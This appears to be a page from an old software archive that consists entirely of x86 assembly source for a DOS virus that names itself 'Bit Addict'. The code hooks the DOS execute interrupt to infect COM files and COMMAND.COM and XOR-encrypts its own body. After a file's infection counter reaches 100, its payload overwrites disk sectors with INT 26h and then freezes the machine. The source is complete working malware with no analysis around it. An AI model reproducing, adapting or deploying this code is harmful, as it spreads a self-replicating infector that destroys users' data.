home *** CD-ROM | disk | FTP | other *** search
- code segment
- assume cs:code,ds:code,es:code
-
- org 0
-
- Size2 equ Virus-Relocate
-
- mov cx,Size2
- mov ax,word ptr ds:[101h]
- call Virus
-
- Relocate:
- cmp byte ptr ds:[103h],100
- jb InstallVirus
-
- xor dx,dx
- Repeat: push dx
- mov ax,2
- xor bx,bx
- mov cx,100
- int 26h
- pop ax
- pop dx
- add dx,100
- jnc Repeat
-
- cli
- Hangup: jmp Hangup
-
- InstallVirus:
- mov ax,04b41h
- int 21h
- mov ds,ax
- pop ax
- sub ax,offset Relocate
- xor si,si
- mov di,ax
- mov cx,offset Size1
- cld
- repe cmpsb
- je Exit
- push ax
- mov ah,52h
- int 21h
- push bx
- mov ah,30h
- int 21h
- pop di
- pop bx
- cmp al,2
- jb Exit
- cmp al,3
- adc di,12h
- call GetBuffer
- mov cs:DataBuffer[bx],ax
- call GetBuffer
- mov es,ax
- push cs
- pop ds
- mov si,bx
- xor di,di
- mov cx,offset Size1
- cld
- rep movsb
- xor ax,ax
- mov ds,ax
- mov ax,ds:[84h]
- mov es:word ptr OldInt21[0],ax
- mov ax,ds:[86h]
- mov es:word ptr OldInt21[2],ax
- mov word ptr ds:[84h],offset NewInt21
- mov word ptr ds:[86h],es
- push cs
- pop ds
- push bx
- mov ax,4b40h
- lea dx,Command[bx]
- int 21h
- pop bx
- Exit: push cs
- pop es
- push cs
- pop ds
- lea si,SavedCode[bx]
- mov di,0100h
- push di
- mov cx,14
- rep movsb
- ret
-
- GetBuffer:
- push di
- lds si,es:[di]
- movsw
- movsw
- add si,0bh
- mov cl,4
- shr si,cl
- mov ax,ds
- add ax,si
- pop di
- ret
-
- Jump db 0e9h
- NearOffset dw 0
- db 0
- ID db 'Bit Addict'
- Command db '\COMMAND.COM',0
-
- SavedCode db 0cdh,020h,12 dup (0h)
- Check equ SavedCode[4]
- Count equ SavedCode[3]
-
- OldInt21 dd 0
- DataBuffer dw 0
-
- NewInt21:
- cmp ax,04b41h
- jne Ok1
- mov ax,cs
- iret
- Ok1: cmp ah,4bh
- je Infect
- EOI: jmp dword ptr cs:OldInt21
-
- WriteHeader:
- push dx
- mov ax,4200h
- xor cx,cx
- xor dx,dx
- int 21h
- pop dx
- jc Return
- mov ah,40h
- mov cx,14
- int 21h
- Return: ret
-
- Infect: push ax
- push bx
- push cx
- push si
- push di
- push es
- push ds
- push dx
- mov ax,04300h
- int 21h
- push cx
- test cx,1
- jz Ok2
- mov ax,04301h
- and cx,0fffeh
- int 21h
- Ok2: mov ax,03d02h
- int 21h
- jnc OpenOk
- jmp Error
- OpenOk: mov bx,ax
- mov ax,05700h
- int 21h
- push cx
- push dx
- push cs
- pop ds
- mov es,DataBuffer
- xor si,si
- xor di,di
- mov cx,offset Size1
- cld
- rep movsb
- push es
- pop ds
- mov ah,3fh
- mov cx,14
- mov dx,offset SavedCode
- int 21h
- jc Close2
- cmp ax,14
- jne Close2
- mov si,offset Check
- mov di,offset ID
- mov cx,10
- cld
- Comp: lodsb
- xor al,SavedCode[1]
- scasb
- loope Comp
- je Counter
- cmp word ptr SavedCode,5a4dh
- je Close2
- mov ax,04202h
- xor cx,cx
- xor dx,dx
- int 21h
- jc Close2
- or dx,dx
- jne Close2
- cmp ax,0fe80h
- jae Close2
- sub ax,3
- mov NearOffset,ax
- push ax
- mov si,offset Relocate
- mov cx,Size2
- Rep1: xor [si],al
- inc si
- loop Rep1
- mov ah,40h
- mov cx,offset Size1
- xor dx,dx
- int 21h
- pop ax
- jc Close2
- mov si,offset Jump
- mov cx,4
- Rep2: xor [si],al
- inc si
- loop Rep2
- mov dx,offset Jump
- call WriteHeader
- Close2: jmp short Close
- Counter:inc Count
- mov dx,offset SavedCode
- call WriteHeader
- jc Close
- Close: pop dx
- pop cx
- mov ax,05701h
- int 21h
- mov ax,03e00h
- int 21h
- Error: pop cx
- pop dx
- pop ds
- test cx,1
- jz Ok3
- mov ax,04301h
- int 21h
- Ok3: pop es
- pop di
- pop si
- pop cx
- pop bx
- pop ax
- cmp al,40h
- je IntRet
- jmp EOI
-
- IntRet: iret
-
- Virus: pop si
- push si
- push si
- Rep4: xor [si],al
- inc si
- loop Rep4
- ret
-
- Size1 equ $
-
- code ends
-
- end